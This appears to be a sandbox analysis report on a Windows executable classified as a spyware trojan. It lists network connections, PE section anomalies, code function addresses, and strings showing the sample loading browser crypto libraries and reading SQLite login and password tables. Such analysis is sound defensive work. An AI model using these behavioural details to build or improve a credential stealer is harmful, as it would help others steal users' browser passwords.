Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50119 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA8B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA8B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA8B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA2F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA235A0	0_2_6CA235A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA834A0	0_2_6CA834A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C4A0	0_2_6CA8C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36C80	0_2_6CA36C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D4E0	0_2_6CA2D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66CF0	0_2_6CA66CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA364C0	0_2_6CA364C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D4D0	0_2_6CA4D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9542B	0_2_6CA9542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9AC00	0_2_6CA9AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65C10	0_2_6CA65C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72C10	0_2_6CA72C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35440	0_2_6CA35440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9545C	0_2_6CA9545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA885F0	0_2_6CA885F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60DD0	0_2_6CA60DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3FD00	0_2_6CA3FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4ED10	0_2_6CA4ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA50512	0_2_6CA50512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84EA0	0_2_6CA84EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E680	0_2_6CA8E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45E90	0_2_6CA45E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA976E3	0_2_6CA976E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2BEF0	0_2_6CA2BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3FEF0	0_2_6CA3FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89E30	0_2_6CA89E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75600	0_2_6CA75600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67E10	0_2_6CA67E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96E63	0_2_6CA96E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C670	0_2_6CA2C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA44640	0_2_6CA44640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72E4E	0_2_6CA72E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49E50	0_2_6CA49E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA63E50	0_2_6CA63E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA777A0	0_2_6CA777A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2DFE0	0_2_6CA2DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56FF0	0_2_6CA56FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA39F00	0_2_6CA39F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67710	0_2_6CA67710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA560A0	0_2_6CA560A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C0E0	0_2_6CA4C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA658E0	0_2_6CA658E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA950C7	0_2_6CA950C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B820	0_2_6CA6B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74820	0_2_6CA74820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA37810	0_2_6CA37810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F070	0_2_6CA6F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48850	0_2_6CA48850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D850	0_2_6CA4D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C9A0	0_2_6CA2C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D9B0	0_2_6CA5D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65190	0_2_6CA65190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82990	0_2_6CA82990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D960	0_2_6CA3D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B970	0_2_6CA7B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B170	0_2_6CA9B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4A940	0_2_6CA4A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA222A0	0_2_6CA222A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA54AA0	0_2_6CA54AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3CAB0	0_2_6CA3CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92AB0	0_2_6CA92AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9BA90	0_2_6CA9BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA41AF0	0_2_6CA41AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E2F0	0_2_6CA6E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68AC0	0_2_6CA68AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69A60	0_2_6CA69A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2F380	0_2_6CA2F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA953C8	0_2_6CA953C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D320	0_2_6CA6D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C370	0_2_6CA3C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25340	0_2_6CA25340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2ECD0	0_2_6CB2ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACECC0	0_2_6CACECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAAC30	0_2_6CBAAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96C00	0_2_6CB96C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADAC60	0_2_6CADAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5CDC0	0_2_6CC5CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4DB0	0_2_6CAD4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66D90	0_2_6CB66D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9ED70	0_2_6CB9ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58D20	0_2_6CC58D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFAD50	0_2_6CBFAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56E90	0_2_6CB56E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADAEC0	0_2_6CADAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70EC0	0_2_6CB70EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB0E20	0_2_6CBB0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6EE70	0_2_6CB6EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADEFB0	0_2_6CADEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAEFF0	0_2_6CBAEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0FE0	0_2_6CAD0FE0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA694D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA5CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xjxegmjo ZLIB complexity 0.9948194002834815

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/293@26/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA87030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA87030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\KBRBKD2R.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\6db7d1ec-7020-45dc-9a94-33eb0c5d9869.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2524714736.000000001DB98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2356975676.000000001DBA4000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2690666396.000000001DCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699720302.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

